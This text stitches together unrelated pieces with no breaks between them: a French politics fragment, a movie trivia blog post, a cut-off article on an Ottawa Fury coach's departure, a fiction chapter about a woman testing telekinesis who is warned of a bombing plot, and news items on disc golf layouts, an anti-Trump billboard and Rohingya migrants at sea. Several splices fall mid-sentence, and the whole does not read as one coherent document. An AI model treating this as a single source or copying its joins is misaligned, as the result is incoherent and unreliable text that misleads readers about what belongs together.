Valls was due to announce his stand for the presidency Monday afternoon (December 5), standing down as prime minister the following day, leaving a vacancy potentially for interior minister Bernard Cazeneuve or finance minister Michel Sapin to fill.Welcome back to Tuesday’s Trivia Tidbits. For those of you out of the loop, this is a little compilation of 10 movie related facts that I will be posting weekly and info that I always find interesting. So without further ado, this weeks are…
1: Richard Farnsworth was a stunt man for 40 years before becoming an actor. During this time he doubled for Kirk Douglas, Henry Fonda, Montgomery Clift, Steve McQueen and Roy Rogers before eventually taking his own life with a self inflicted gunshot wound when he was diagnosed with terminal cancer. The year before this, he was the eldest actor ever (aged 79) to receive an Oscar nomination for David Lynch’s “The Straight Story“.
2: Three directors were offered to direct “Fight Club” prior to David Fincher. Peter Jackson was the initial choice of the producers, who had been impressed with Jackson’s work on “Heavenly Creatures” and “The Frighteners“. Jackson however, although he loved the Chuck Palahniuk novel, was too busy prepping “The Lord of the Rings: The Fellowship of the Ring” in New Zealand. The second choice for director was Bryan Singer, who was sent the book, but who never got back to the producers (he later admitted he didn’t read the novel when he received it). Next to be offered the job was director Danny Boyle, who met with the producers, read the book, and loved the material, but who ultimately decided to concentrate on “The Beach” instead. The producers then turned to David Fincher, after having been impressed with his work on “Se7en“.
3: Orson Welles chipped his anklebone halfway through production of “Citizen Kane” and had to direct for 2 weeks from a wheelchair. When he was called upon to stand up onscreen, he wore metal braces. The injury occurred in the scene where Kane chases Gettys down the stairs and Welles tripped.
4: The original falcon used to play Mordecai in “The Royal Tenenbaums” was kidnapped during shooting and held for ransom – production could not wait for him to be returned which is the reason that the bird that appears later in the movie has “more white feathers” – it’s a different bird.
5: When the film version of “Miami Vice” was still being developed by Michael Mann, Don Johnson (who originally played the character on TV) was asked who he would pick to play Sonny Crockett. Johnson suggested Colin Farrell – who eventually got the role.
6: In “Saturday Night Fever“, John Travolta originally wanted his disco suit to be black, until it was pointed out that in the darkened disco, his co-star’s red dress would make her easier to see than him. It was then agreed upon to be White.
7: Following the “eggplant scene” in “True Romance“, Dennis Hopper was concerned about being “shot” by Christopher Walken with the prop gun so close against his head for fear of being burned by the barrel. Director Tony Scott assured him the gun was 100% safe, and even tested it by having the prop man fire it against his (Scott’s) own forehead. But upon firing the prop gun the barrel extended about a third of an inch and Scott ended up on the floor with blood pouring from the wound.
8: In Robert Zemeckis’ “Cast Away“, actual lines of dialogue were written for Wilson the Volleyball, to help Tom Hanks have a more natural interaction with the inanimate object.
9: The line-up scene in “The Usual Suspects” was scripted as a serious scene, but after a full day of filming takes where the actors couldn’t keep a straight face, director Bryan Singer decided to use the funniest takes. A making-of documentary shows Singer becoming furious at the actors for the constant cracking-up. In an interview (on the Special Edition DVD), Kevin Pollak states that the hilarity came about when Benicio Del Toro “farted, like 12 takes in a row.” Del Toro himself said “somebody” farted, but no one knew who.
10: According to William Goldman’s book “Four Screenplays“, the main character of Paul Sheldon in “Misery” (eventually played by James Caan) was offered to William Hurt, Kevin Kline, Michael Douglas, Harrison Ford, Dustin Hoffman, Robert DeNiro, Al Pacino, Richard Dreyfuss, Gene Hackman, Robert Redford, and Warren Beatty, all of whom declined. Jack Nicholson was also offered the role but passed because he wasn’t sure he wanted to do another movie based on one of Stephen King’s novels after what he had experienced with Stanley Kubrick on “The Shining“.
So there you have it. 10 esoteric Tidbits to masticate on. Some you may know. Some you may not. If you have any thoughts, stick your donations in the comment box.
See you next Tuesday…
(For earlier editions of Trivia Tidbits click here.)
AdvertisementsPaul Dalglish’s tenure as Ottawa Fury manager came to an end on Tuesday when the club announced that he had resigned his position with mutual consent from the club. Former Ottawa Fury captain and Dalglish’s assistant Julian De Guzman will take over as interim head coach for the remainder of the season. Assistant coach Jed Davies and goalkeeping coach Bruce Grobbelaar will both remain with the club in their current roles.
Dalglish was unveiled as Ottawa Fury manager in November 2015, just five days after the club lost the NASL Championship Final to the New York Cosmos. Dalglish was manager for 60 competitive matches during his time with Ottawa Fury, earning a record of 19 wins, 16 draws and 25 losses. This included 52 league matches between NASL and USL (56/156 points), as well as 8 Voyageurs Cup matches. Dalglish coached Fury to home wins over both Vancouver Whitecaps and Toronto FC in the Voyageurs Cup.
Poor Timing
From the very beginning it seemed as though Dalglish was swimming against the current in his role as Fury manager. In the fall of 2015 Fury had just fallen 3-2 in the NASL Championship Final and everyone knew that coach Marc Dos Santos was moving on at the end of the season. Before the dust had settled from the heartbreaking loss in New York, Dalglish was unveiled as the clubs second manager. At the time it seemed like perfect timing, as there was only five days without the club having a leader in the coaches office. Hopes were Dalglish would be coming in to swiftly ensure the club moves smoothly towards the 2016 season; things didn’t quite pan out that way.
Many players in the 2015 roster felt that with Dos Santos leaving Ottawa it was perhaps time they also sought out new clubs, meanwhile NASL organizations had taken notice of some of Ottawa Fury’s more elite players. With a lot of change going on in Ottawa and other clubs showing interest, players were enticed into handing in transfer requests when Dalglish arrived, leaving the new gaffer with a broken locker room from day one.
Unable to keep the core together, Dalglish was tasked with building a squad around the players still under contract from 2015, as well as his own signings made over the winter. The 2016 NASL season saw Fury struggle in the NASL standings, finishing last. The club announced near the end of the year they would be making a move the USL for 2017.
Hopes were high heading into this season, as Dalglish was able to build a squad completely his own during the offseason. The club struggled early on to find a rhythm, consistency and most importantly goals. While the USL results have not been great this year, Dalglish helped make |
You should probably grow your hair out and dress normally," I said.
His near-shaved head and robes had given him a distinctive look when he went on TV. If he removed those key identifying features, though, we'd probably be fine.
There was general buzz online from news sites and scientists who'd found that Bhante Dokan hadn't been replying to their requests. A few groups had went to the actual monastery and found it understandably deserted.
I had been unsure how to manage the whole "magic monk mysteriously missing" situation.
Then things folded in on themselves rather neatly.
Someone posted a conspiracy theory online claiming to show how Dokan's levitation worked (they claimed Dokan had just ripped off Copperfield). The theory got a bunch of traction, and for some reason James Randi refused to make an official statement on the matter.
This only fueled the interest in debunking Dokan's levitation. Suddenly, a bunch of people came forward claiming they knew what was going on. Magic exposés were all the rage, and it now seemed fashionable to disbelieve.
In the end, the reporters who'd gotten an exclusive to the monastery ended up publicly admitting that maybe they'd just made the whole thing up.
I found the whole matter weird, but I moved on. It didn't look like the media was interested in tracking us down, and that meant we could focus on other things in the meantime. People were often just pretty odd.
The pomodoro method is an obvious but useful productivity hack. By that I mean, the entire method is just a schedule that interleaves twenty-five minute chunks of "work time" with five minute chunks of "break time" in between. But for some reason this is surprisingly effective. It's supposed to be good for doing your homework, taxes, writing—anything that requires you to put in time.
Turns out, it's also good for planning world optimization:
"What about lifting rubble from disaster sites to save people?" Dokan suggested.
"Hmm, aren't charities like the Red Cross already pretty on top of things like this? I'm not sure this would be the best use of my time—not to sound callous, of course," I said. "Plus, then my abilities would be widely known."
"Oh, yes," said Dokan, "that could bode poorly."
"It'd still be better than sitting in your room writing stuff down," my brain said. I ignored it.
Maybe the primal part of me itched to be out doing superhero-esque things, but if I was going to save the world, I was going to do it right.
Which meant doing obvious tasks like taking the time to think things through.
I wrote "disaster relief" down on the "Maybe" category of my Potential Actions list and took another deep breath. The alarm went off.
"Five minute break," I said.
Dokan left to get some water.
We'd already run through the fairly outlandish ideas like storming into the UN or convincing people I was the Messiah.
There were lots of other things I had at the back of my mind, like smashing stuff for the Large Hadron Collider, but those also required my abilities to be publicly known. I'd also suggested we focus on plans that brought change as fast as possible, so we hadn't discussed anything very long-term.
In fact, I'd actually quite liked the Messiah idea, but Dokan pointed out that I'd probably need more proof than just floating. He'd done that, after all, and in the end things had just died down after skepticism flared up as people returned to their little bubble of normality.
"True. I'd need to be able to read people's minds, or turn water into wine, or do something even more extravagant," I said.
Then the timer rang, and we got back to work.
A few more cycles had passed, and I was feeling tired.
"I think we should stop for now. I'm not sure I can take too much more of this," I said.
"Indeed, let us pause. If anything, Sarah, I believe our methodology has been flawed," Dokan said slowly.
"Really? What are doing wrong?" I asked. I was sure there were ways to optimize our whole process, but I wasn't sure what he'd suggest; Dokan's mind ran quite differently from mine.
"So far, we've been looking at things you could do with your awakened abilities and finding ways to help others with this gift," Dokan said.
"Yeah?" I asked.
"But our minds cannot easily navigate the tangle of threads moving into the future; they are far too numerous and variegated."
"Sure," I said.
"It seems far more prudent start from the end—the change you wish to see in the world—and then follow that thread back to where we are. Perhaps, then, it would be more fruitful to ask yourself what your desires are for the future and chart a reverse path to this specific future," he said.
I blinked. I'd just had the concept of back-planning explained to me from a monk. I'd been expecting some indignant reply about how maybe we'd been considering some potentially unethical ideas, but this was far better.
"Dokan, wait, that actually makes a lot of sense," I said.
"So Sarah, tell me, what is it that you hope to achieve?" Dokan asked.
I let the question hang for a moment and thought about it. What did I want to achieve?
"Erm, didn't we sorta go over this before we started?" I asked. "The point here is to find ways of quickly helping as many people as possible. I'm open to pretty much anything except killing people."
Dokan shook his head.
"I'm sorry; I will rephrase. What is your ultimate goal? If all goes well, what is the future you wish to see?" he asked.
"As in, what I want humanity's direction to be?" I asked.
A feeling of "ugh" crept upon me. I saw what he was getting at.
"Yes. What is that world? What will your Earth be, that runs with your vision? If you could shape the world, what would that be?"
Dokan looked at me intently.
It was a valid question, but I wasn't sure I had a good answer. I tried to ignore the rising feeling of aversion in my head.
"Well…I do hope it's more than just Earth," I said, "we only have a few billion years left here before the sun goes supernova. So I hope that we'll at least have moved to other star systems. I want humanity to keep on going, past the stars. There's lots of great things we could do into the future."
Dokan seemed to think for a moment.
"Sarah, those dreams are so nebulous, like vast galaxies. And their reach is so far. Do you see Earth as only a blue-green sphere? A stepping stone for your ambition? Still, let us hone more in on how you relate to the universe. What are your personal aspirations for our species? Where do you fit in?" he asked.
I was going to comment that Earth really was nothing but a blue-green sphere, but I decided not to ruin his rhetoric.
"Um, If I beat entropy, that'd be pretty good? I guess I'd like to work towards that," I said.
I snapped my fingers. "Oh, which reminds me, it might be worth considering seeing if magic is actually producing energy from nowhere. In which case, if I can't think of anything else good to do, we can look into using magic as a perpetual energy source. Or, we should see if I can get an MRI to see what's happening in my head when all this happens," I said, all at once.
"Sarah, Sarah! Stay with me—I'm talking about your vision of the future," Dokan said.
I groaned. It was always way easier talking about object-level things, like what to do, instead of why we do them. The "ugh" feeling was still there.
"I dunno, Dokan. Doesn't it seem a little arrogant to think that my future of the world is how it'll actually turn out?" I asked.
"You're entitled to your opinion, Sarah," said Dokan gently.
"Hah, as if," my brain said, nearly automatically. I didn't say that aloud either.
Dokan's question was honing in on something I didn't want to look at. There was a definite sense of "NO NO NO" in my head.
I wonder what's causing this "ugh" feeling, I thought.
I took in a deep breath and actually focused on the answer that I'd squished down. I peered into myself. I looked into the messy tangle of aversion inside my head with a sense of, not enmity, but with curiosity.
And I accepted it for what it was.
"You know," I said slowly, "I don't know."
Dokan was silent.
"Like, obviously there are things I want, like making sure everyone is healthy and generally not suffering. But I don't know what the long-term future of our world looks like. So I'm mainly trying to focus on things that Future Sarah won't regret," I said.
The uncertainty of it all now wedged itself in my center, like a tight knot. It rose up as I spoke. I continued, "Apart from that, though, I don't have it all figured out. I…I'll probably need people smarter than me to help me figure this out. Or just generally get smarter."
I felt the tightness in my chest lift slightly.
"Yeah, so that's what been in my head," I said. "So at some point, it seems like a really good idea to find smart people and bring them into the loop."
My brain responded, "Great idea. Just wait until one of them betrays you and everything falls apart."
I ignored it and wrote down "find trustworthy intelligent people" down under the "Definitely" category.
The "ugh" feeling had abated somewhat. I continued with my original train of thought.
"And, of course, we'll need to get people off this planet at some point. Wait—can I send things into orbit with magic?"
"Going into space, you mean?" asked Dokan.
"Yeah…" I said. Dokan's words had struck a chord.
Why was spaceflight sounding so familiar?
It took a few seconds, then I got it. I felt slightly stupid for not having seen it earlier. I didn't beat myself up, though, because I had been juggling a lot of things, but I still felt stupid that I hadn't thought more about space earlier.
I mean, I knew someone who was in the field.
Andre. Satellites. Kumori.
"Sarah?" asked Dokan.
"I think there's someone I should to talk to," I said.
Andre Huang had made Forbes "30 Under 30" list last year when he went public with his company, Kumori, which launched private satellites.
He also happened to be a good friend of mine.
Things had been strictly platonic, but we'd been very close throughout high school. Andre was smart, reasonable, and took well to crazy ideas—it was how he started Kumori after all.
If I wanted to test the feasibility of using magic for space travel, or just get a trustworthy third brain working on this problem, talking to him made a lot of sense.
Andre and I had hung out less after he started working on Kumori full-time. Then I'd left to go learn meditation, so we hadn't connected for several months. Under a pretense of catching up, I could probably rope him into helping me test some more ways to exploit magic.
"I'm going to give a friend a call," I said to Dokan.
There was no reply. He'd apparently fallen asleep on the couch. I didn't blame him.
I brought up Andre's number on my phone. After a few rings, a voice picked up on the other end:
"Hello?"
"Hey Andre, this is Sarah. It's been a while," I said.
"Sarah! No ways! How have you been? We need to, need to catch up!" Andre said.
"I'm doing not-terrible," I said.
"Great! What about catching up?"
"Yes, let's catch up. I have something that'll probably blow your mind!" Some of the enthusiasm was forced, but I really did want to catch up.
"Gah! Awesome! Did you finally solve something cool in decision theory? I know you were doing some independent research back in college," Andre said.
"Ah, unfortunately the decision theory stuff didn't really pan out well. So this is, uh, actually something different. Even more awesome, I think. You're going to love it, I think. Look, can we set a time to chat? Maybe at your office?" I asked.
"Definitely! For sure! I've got some free time coming up next week…"
Andre and I had set up a time to meet. I spent the days leading up trying to figure out the most tactful way bring up the fact that I had pseudo-telekinesis that might prove helpful for space flight. I ended up just settling for the simple approach—telling it to him straight.
Then the day came, and I got in a taxi, staring out the window.
Dokan had opted to stay at home instead, finishing up the two books. I also hadn't told Andre about the monk yet.
The driver finally pulled up to Kumori, which housed its offices in a downtown business complex. I paid him and got out. Andre was standing near the curb; he smiled.
We'd decided to meet on a Saturday, which meant that no other employees would be present. Andre had thought it weird I'd insisted on meeting at his offices, rather than at a local cafe, but I just told him I'd tell him when we met.
"Sarah! It's great to see you again, in the flesh!" he said, giving me a quick hug.
"Hey, Andre," I said.
"So. What's so weird and secret that caused you to think meeting at Kumori would be a better idea?" he asked.
"Let's go inside first," I said.
"Wow, so it's that secret, huh?" Andre didn't object though, and punched the keypad, allowing us in.
"No ways. No freaking ways. Do it again!" said Andre.
I lifted him up once more.
"Oh my gosh! This is in-freaking-sane!"
The two of us were set up on the floor of his office, having moved boxes and desks aside.
I'd given him a quick overview, skipping over magic's connection to math, and merely told him I'd learned magic from Dokan. It was to Andre's credit that he didn't start laughing outright. He did ask, however, for proof.
In response, I applied a quick translation function and moved him up about a meter.
Surprise ensued.
"Okay, okay, just let me actually think about this for five minutes," Andre said after he had calmed down.
"Sure," I said.
He took out my phone and set a five-minute timer. Andre cared a lot about really taking the time to do things, and I respected him for that. (He was the one who got me into pomodoros.)
"Okay," Andre said after the time was up. "I'm sure you've probably already covered the obvious stuff, like not using your powers for evil, blah blah blah."
"Yep," I said.
"Cool, just checking," he said. "Because, that is important, you know."
"Right. So, um, thoughts on using this for space launch?" I asked. I tried not to dwell on the fact that I could, if I wanted to, throw Andre through the window. Not that I wanted to, of course.
"Yeaaah, that seems like a good idea in practice, but there are way too many unknown unknowns here," he said, "My short answer is that I don't think it'll be likely to be useful until we get more information."
My excitement faded and was replaced with a sinking feeling.
"To be honest, I don't really know what's up with this whole magic thing either," I said.
"Well, it's still really insane that you're literally breaking several physical laws right now! And, uh, you mentioned you tried some basic experiments?" Andre asked.
His tone was more gentle. I realized my disappointment had probably shown on my face.
Stupid facial cues, I thought.
"Nothing definite," I said, "Basically, I found out my range is only about three meters; I can't move stuff farther away."
"Really? Weird. I'm actually pretty curious about that," Andre said.
"Maybe we can try nailing that down first?" I asked. "We should probably start small."
"Normally, I'd object about how this is an example of bikeshedding, but I'm still trying to collect my thoughts. So, uh, sure, let's try this thing first. It shouldn't take too long," he said.
We got out a tape measure and started trying to pin down my range.
"Oh God, what the actual heck? What the actual heck?" Andre was screaming.
I wasn't holding up much better.
"This plot, this freaking plot," I said, quoting from somewhere.
It was, as Andre would say, un-freaking-believable.
It turned out that the range of my magic was e meters.
As in Euler's number.
As in Euler's number.
As in the limit of one plus one over X to the X as X went to infinity.
As in Euler's number.
"What," I said.
Okay, it wasn't exactly 2.7182812 exactly, but it was scarily close. Also, the numbers were inconsistent depending on if I was standing, sitting, or whatever.
But the point remained that for the vast majority of the time, the distance between me and the object I was affecting was e.
"What—what—what," Andre was saying to himself.
I took in a deep breath. My brain tried to reassert itself, offering explanations for everything that had just happened.
"Well…I mean, confirmation bias is definitely a thing," I said, trying to not lose my mind. "We should definitely make sure we haven't just been subconsciously engaging in, like, motivated reasoning, right?"
"That's good, Sarah, just keep sticking to your reasonable sounding arguments and discount the evidence in front of you. Remember, the Matrix Lords can't kill you if you don't show any signs that you've figured it all out," my brain said.
"R-right," Andre said, "maybe we just got a little carried away."
We tried the measurements again.
The numbers still matched up.
"I'm going to just quietly shut off for a little bit," my brain said. "Don't mind me."
"Maybe we could talk about something else in the meantime?" I asked.
"Yeah, that seems good," Andre said.
There was false sense of calm in the air.
We went over a few other ways to leverage magic to save the world.
Andre, with a critical mindset, proposed turning me into a human battery. His point was that if I could seemingly move anything, regardless of weight, then there might be some sort of setup where I could mentally move a generator or something. He argued that this could probably produce net energy assuming the energy I produced was greater than the energy I took in as food.
"Think about it, Sarah, with the right setup, you might be able to power all of humanity!" he said.
"Sounds good. Except that if we become a battery, we'll probably be locked up somewhere, forced to do the same thing over and over until we die," my brain said.
"Shut up brain, you're being selfish," I told myself.
"Uh, yeah, I'll consider that," I said aloud to Andre. I really didn't want to be locked up, though.
The rest of the conversation didn't go very far, and then it was somehow already evening.
"So I guess you can call me when you're free again to schedule another meetup?" I asked.
"Yeah, that seems good," Andre said, "I'm going to, uh, re-check those figures on your range and units."
"Great," I said.
The ride back took a long time.
Dokan's words still echoed in my mind—what did I want to gain from all this? So far, I'd been winging it, immediately jumping to possible ways to use translational functions for maximum humanitarian benefit.
And then it turned out I wasn't even actually trying to maximize humanitarian benefit—I'd just discarded Andre's suggestion of turning myself into a battery because I found it absolutely terrifying. Forced to spend all day generating energy? Even if it was for everyone's benefit, I shuddered at that.
Whether I liked it or not, it looked like my sense of self-preservation was working against me here.
As for the new development on the units of how magic worked… I really didn't want to think about that right now. Andre had left me some more notes on other ideas, though it had been clear neither of us were operating at full capacity after the tests.
But it was definitely a start at unraveling how this magic stuff worked.
Watching cars stream past the window, I updated my belief that mathematics secretly controlled the universe.
I made my way up to the third floor to my apartment.
The hallway was illuminated by the setting sun, with the light streaming through the windows set in the walls.
Someone was hanging around in front of my door. I stopped short.
It was an unfamiliar girl who looked Chinese and about my age. She turned her head, looked at me, and nodded, giving me a cool gaze.
"Sarah Khan," she said.
I frowned. "Hello. Have we met before?"
Someone I didn't recognize knew my name. Paranoia flared up.
"I rang the bell a little earlier, but you weren't home," she said.
My question remained unanswered.
"Um, so, yeah. I'm Sarah. What's this all about?" I said. It looked like Dokan hadn't opened the door when she rang earlier, which was smart of him.
The girl stared off into space for a brief moment, before her eyes widened.
"Um," I said.
Her attention shifted back, eyes on me, face impassive.
"I have been looking for you, Sarah," she said.
Which obviously didn't explain how she knew where I lived or why she wanted to talk to me in the first place. Still, politeness came first; I extended my hand.
"Oh. Well, hello. I'm Sarah Khan, as you apparently already know," I said.
The girl looked at my hand for a moment. Slowly, she shook it.
"My name is Mei Fong Lin," she said.
"Sarah, do you not see these warning signs? Suspicious person shows up at your door and knows your name? There are two possibilities here: government agent or professional assassin. Why are you still standing here?" my brain said.
"Um," I said.
"I can assure you that I'm not working with the US government or anyone else but myself," Mei Fong said, as if reading my mind. She nodded, like this cleared up everything.
"You do understand that's not very reassuring, right? I know nothing about you or why you're here at my door," I said.
"Right. I'm here to talk about magic. And you," she said.
"What? Magic?" I asked, trying to mimic how I thought a normal person would react.
"That's good, Sarah. Plausible deniability. Keep it natural," my brain said. "Also, maybe we should get out of here right now?"
"I'm talking about magic. Math. Whatever you call it. You don't need to pretend with me," Mei Fong said.
"Pretend about what?" I asked.
Her expression remained smooth and cold.
"Sarah, this conversation would go a lot quicker if you just acknowledged everything. You learned magic from Bhante Dokan. That's obviously why I'm here," she said.
My heart beat a little quicker. Was this public info?
I supposed someone could have tracked my online application. Also, someone could have hypothetically just asked another student who had been at the monastery, like Kevin.
I really didn't want to deal with this right now. My brain was screaming at me to get out of the situation. Mei Fong was had her back to my door, so I couldn't even get past her without opening the room, where I'd undoubtedly give her a glimpse of Dokan.
I currently pegged her as an overzealous journalist who thought she had the next big story.
The unfortunate thing was, she was on the right track.
"Well yeah, Mei Fong, I went to Dokan's place, but it was all super cultish. I never learned anything. And didn't you see the articles? It was all a trick with hidden wires. There was no magic," I said, deciding to admit my attendance.
Mei Fong zoned out for a few seconds again before she answered. I wondered if she was totally healthy.
"Incorrect. I know what really happened. I've already spoken to Kevin, and he told me," she said.
Screw you Kevin, I thought.
Still, it it was also possible this was a trick and she'd just pulled his name from some records. I didn't know. With the new information of e on my mind, I didn't have the mental capacity to deal with this shady journalist.
"Right, we've got a lot going on. It's a wonder we haven't snapped yet and thrown a car at a building," my brain said. "And can we please leave this situation already? A mysterious girl who knows more than she should? How is this not alarming? Let's go!"
Except that my only choice was to leave the apartment, and Mei Fong could follow me. Still, it was probably better than just standing here leaking bits of information. Even a dismissal can give data, and it looked like Mei Fong knew that I knew about magic.
Which meant that she had good reason to discount anything that came out of my mouth.
"I'm really sorry, but you're blocking my doorway. Could you please move?" I said, "It's been a long day."
Mei Fong narrowed her eyes.
"Look, Sarah, from the outside view you've already lost. If you actually didn't know anything, you'd already be inside the door, or you would have pushed me out of the way. The fact that you're still here tells me that I'm right," Mei Fong said. "Just admit everything, and then we can talk candidly."
I blinked. She was good at this; I'd obviously been playing at the wrong level in this conversation. Of course, I couldn't really back out now—that would be an even more obvious sign of admission from me.
"No! I don't know anything about magic, and you're intentionally blocking my way," I said. "Leave, or I'm walking to the nearest police station and if you follow me, I'll…I'll do whatever sort of action I can take once I'm there."
"Great; as if walking away doesn't signal any information about how much we're admitting," my brain said. "Not to mention that we haven't yet actually denied anything."
Mei Fong shook her head and and looked at me.
"I don't have time for this. Haven't I just proven that you don't lose anything by admitting everything? I already know about magic. And Dokan. Magic has a radius of about e meters. Can't we just move forward now that it's common knowledge that you know that I know?" she said.
I registered that Mei Fong had just revealed she also knew about the whole deal with e. Meh. I didn't have any more capacity for shock. Apparently the universe (which might or might not be a simulation) was set on throwing absurd things at me.
I wasn't going to take it.
"Look, I have no idea who you are or what you want. You've been obstructing my doorway, and you come around making ridiculous accusations. This is not how you engage in good human-to-human interactions!"
I realized my fist was up in the air. I slowly brought it down.
Suddenly, Mei Fong's whole face changed.
A slight smile graced her face. She took a step back, and the pressure that had been building up in the conversation receded. Her stance shifted inward.
She spoke, "My apologies, Sarah. In my excitement, it seems I've violated several social boundaries. Regardless of what the flow of information would dictate, it seems I failed to consider things from your perspective. You obviously have no reason to trust me and no incentive to engage with me right now."
"Um," I said.
Potential psychopath right here, I thought. Wait, probably not.
I wasn't sure about the actual base rate for the Dark Triad, but I recalled it was something like one percent for that trio of "dark" mental disorders. So Mei Fong probably wasn't a psychopath if we were just going by the statistical base rate.
"You're forgetting that she just said some crazy things and showed up out of nowhere!" my brain said. "This is obviously strong evidence in favor of Mei Fong being abnormal!"
I took a step back.
In my head, I did the math. The correct thing to do in this case was to multiply the strength of the evidence by the base rate to get a conditional probability. Which meant that even if psychopaths were a hundred times more likely to say the weird things Mei Fong just said, the chance of her actually being one were still about fifty-fifty.
And there was no way that the chances of saying odd things were actually a hundred to one. It wasn't that strange to have such a sudden change of attitude—Andre and I had had weirder conversations.
None of this, though, changed the fact that continuing the conversation was stupid.
"Great, as if we didn't know that before," my brain said.
"So, Sarah, as a gift and not a transaction, I will voluntarily give you some information," Mei Fong said.
My mouth opened and no sound came out. I had no idea where this was going.
"I think it's safe to say you have altruistic aspirations, yes?" she asked.
I slowly nodded.
"Good; you will like this," Mei Fong said. She pulled her phone out of her pocket and checked it.
"One… week from now, at midday, a group is planning on bombing the National Archives. They'll come from the back and drive up in a grey Toyota, license plate 3GHG149," she said, reading from the screen.
Okay. Well then.
"That's a bold falsifiable claim," I finally said.
I didn't care about the Archives right now. I just wanted her to leave.
"No matter; I'm just giving you the information. What you do with it is up to you. Here's my phone number," Mei Fong crouched down and placed a white business card on the ground, in front of the door.
"Bet you there's chloroform on it," my brain said.
"You see, I want us to work together in the future, Sarah. I have information, as I've just demonstrated in a somewhat costly way to myself. It would be fun if we could continue this conversation," Mei Fong said.
The smile on her face was not comforting.
"And, yes, I'll be leaving now. Do verify the bomb threat. Or stop it. Whatever best suits your preferences. I just want you to see that I can be useful to you. Of course, you're under no obligation to call if it turns out I'm not credible," she said.
"Um," I said.
Then she left.
"Can we agree that this at least made the top three weirdest conversations we've had?" my brain said.
I waited a few minutes and looked out the window in the wall to confirm her leaving the building. Mei Fong's slim figure faded into the street.
Somehow, as improbable as it would be, I knew I'd be making a trip to the National Archives in three days.
I stared at the card on the ground.
Finally, I opened my apartment door.
"Dokan?" I said, "There's something on the ground here I want you to check out for me…"Disc Golf Pro Tour Adjusts Courses & Layouts For FPO In Series’ Second Half
The changes will affect Ledgestone and the Vibram Open
In an article published this morning, the Disc Golf Pro Tour announced its decision to adjust the layout and courses played by the Women’s Open division at two of its marquee events. At the Ledgestone Insurance Open, the Women’s Open field will play on alternating days at Northwood Park and Sunset Hills—while the Men’s Open division plays each day at the Eureka Lake Temp Course—and the Vibram Open will feature ten holes that are distinct from the gold layout played by the Men’s Open division.
“I chose not to have them play Lake Eureka because it is a black level course with multiple long distance shots over water,” Ledgestone Tournament Director Nate Heinold said. “I felt like my FPO turnout would be higher by having them play courses more suitable to their driving distance. Lake Eureka’s distance and high winds wouldn’t be any fun for the women to play.”
Heinold went on to explain that both the Northwood Park and Sunset Hills courses offer challenge and variety and are familiar to the Women’s Open division, having been played in past iterations of the event.
The changes to the gold layout at the Vibram Open’s Maple Hill course will double the number of changes from last year in creating a “blue” layout for Women’s Open. Notably, the tour utilized statistics provided by UDisc to assess how the Women’s Open field played last year’s layout to make adjustments for 2017. Specifically, the tour adjusted some teepads and pin locations in an attempt to provide players the prospect for more scoring opportunities with attackable greens.
According to the tour, the changes to both events should help address issues of unreachable greens and begin testing women’s abilities in the same way that courses test men’s abilities. Additionally, the tour sought approval from top women’s players about the changes to both events.
The Ledgestone Insurance Open kicks off the second half of the tour’s schedule on August 3rd, and the Vibram Open begins play on August 31st.A billboard in Arizona is drawing public outrage after featuring President Donald Trump’s face surrounded by dollar-sign swastikas and nuclear mushroom clouds.
The controversial artwork appeared in Phoenix on Friday. In the days since, California-based artist Karen Fiorito says she’s received death threats.
“I think a lot of people are feeling this way and I’m just trying to express what I think is on a lot of people’s minds these days,” she told local news operation 12 News. “Something that really concerned us was this idea of a dictatorship where things were going in a certain direction.”
The billboard space was provided by the owner, Beatrice Moore, who 12 News reported has offered to showcase the work for the remainder of Trump’s presidency.
ABC15 This anti-Trump billboard in Arizona has drawn heated opinions about its design, some who say its Nazi imagery goes too far.
On the back of the billboard, there’s another message. It reads “unity” both in English and in sign language.
Of course, not everyone is on board with the sign, even those who say they’re fine with an anti-Trump message.
“It’s pretty drastic, I thought swastikas were very crude and violent,” neighbor Jeff Whitman told AZ Family.com. He suggested more family-friendly symbols instead.
“Maybe put some thumbs down up there around Trump or something but I don’t like waking up to the Nazi signs,” he told Arizona Central.
Passerby Astrid Olafsen, however, threw support behind the sign, particularly the front and back contrast.
“I think that it’s a wonderful expression of the two sides of the opinions of what is going on and how we can move forward,” she told Arizona Central.
Jeremy Bacpac also shared her approval of the imagery.
“It’s fantastic. I think this is what artists are supposed to do, make statements, whether you agree or not, it’s a statement,” she told ABC 15.Indonesian military has told Al Jazeera that they will send back any boat with Rohingya migrants entering its waters as a vessel carrying hundreds of migrants from Myanmar and Bangladesh was turned away towards Malaysia.
Fuad Basya, Indonesian military spokesperson, said they pulled back a boat "full of people in dire conditions, smelling bad, some were screaming", adding that they provided the migrants with water, food, medicine and fuel.
AFP news agency reported that the boat carrying an estimated 400 migrants was intercepted on the coast of northwestern Aceh region on Monday.
Rohingya migrants' desperate escape from Myanmar
Meanwhile, rights groups have urged regional governments to save thousands of migrants believed to be stranded at sea in Southeast Asia and at the risk of death.
An estimated 6,000 to 8,000 Bangladeshis and Rohingya Muslims from Myanmar remain trapped in crowded, wooden boats, officials and activists said on Tuesday.
Nearly 2,000 people have reached Malaysia and Indonesia in the past two days after Thailand announced a crackdown on smuggling routes. They were rescued from overcrowded boats after being stranded at sea.
Myanmar shirks responsibility
Even as a large number of migrants originated from Myanmar, its government said that they will not take responsibility for migrants who are not their own citizens.
"If it is true and proven that they are from Myanmar, we will take responsibility for them. But not the Bangladeshis," Zaw Htay, the director of Myanmar's president's office told Al Jazeera.
"Some of the Rohingya people may have come from Bangladesh. We can't be responsible for them. But we do not accept the name Rohingya. They are Bengali," Htay added referring to Myanmar's long-persecuted Rohingya Muslim community.
The Rohingya, who are Muslim, have for decades suffered from state-sanctioned discrimination in Buddhist-majority Myanmar, which considers them illegal settlers from Bangladesh even though their families have lived there for generations.
Those comments come a day after more than a 1,000 migrants, including children from both countries, were detained in Malaysia after they arrived in the popular Malaysian resort island of Langkawi.
The police chief in Langkawi told Al Jazeera's Karishma Vyas that 1,158 people were being held on the island. At least 672 are Bangladeshi, and around 486 of them are Rohingya Muslims from Myanmar.
At least 100 women and 60 children were among them. The migrants were in a very poor state, suffering from dehydration as well as hunger.
The police say they believe the captain as well as the other traffickers on the three boats had escaped in another vessel and left the migrants to their own devices.
Regional problem
The Arakan Project, a group advocating for the rights of Rohingya, has said as many as 8,000 people may be adrift.
Chris Lewa, the director of Arakan Project, told Al Jazeera that "there were at least three other boats near Langkawi island in Malaysia - one of |
I’ve tried to live by for a very long time. And anytime someone has been like, you know, “There’s no way you can win there,” it’s like, you know, everything’s impossible until it’s done.
